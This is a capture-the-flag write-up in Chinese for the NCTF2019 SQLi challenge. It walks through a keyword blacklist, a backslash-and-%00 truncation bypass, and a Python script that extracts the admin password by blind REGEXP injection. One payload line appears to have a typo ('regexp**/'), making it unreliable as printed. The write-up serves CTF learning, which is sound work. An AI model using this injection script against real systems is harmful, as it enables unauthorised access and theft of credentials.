欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[NCTF2019]SQLi

程序员文章站 2024-03-14 13:16:34
...

知识点

  • %00截断
  • regexp注入

WP

明天考数据库,概念属实背不下去了,做一道sql注入来放松放松。

首先进入环境,提示要try to make the sqlquery have its own results。
看到语句是这样:

select * from users where username='' and passwd=''

猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:

$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

发现过滤了很多东西,而且需要我们传正确的passwd才能得到flag。

首先发现没有过滤反斜杠,因此可以转义单引号。但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。

我查了一下,发现了可以00截断。看了一下题目的环境:
[NCTF2019]SQLi
确实是存在00截断的php版本,因此利用00截断:

username=\&passwd=||(1);%00

然后就是想办法注入了。因为过滤了Like,可以用REGEXP来注入,脚本如下:

import requests
import string
from urllib.parse import unquote
url='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'

strs = string.ascii_letters+string.digits+"_"
result=''
payload="||(passwd/**/regexp**/0x{});"
#payload="||(username/**/regexp/**/0x{});"
while 1:
    for j in strs:
        p1="^"+result+j
        p2=bytes(p1,'UTF-8')
        pp=p2.hex()
        ppp=payload.format(pp)
        zero=unquote("%00", 'utf-8')
        ppp+=zero
        data={
            "username":"\\",
            "passwd":ppp
        }
        #print(data)
        r=requests.post(url=url,data=data).text
        #print(r)
        #break
        if "welcome" in r:
            result+=j
            print(result)
            break
    #print(data)

可能爆出的是有大写有小写的,转成小写就好了。然后输入密码得到flag。

写完后看了一下WP,发现因为没有过滤双引号,所以可以不用16进制来绕过,直接拿双引号就可以了。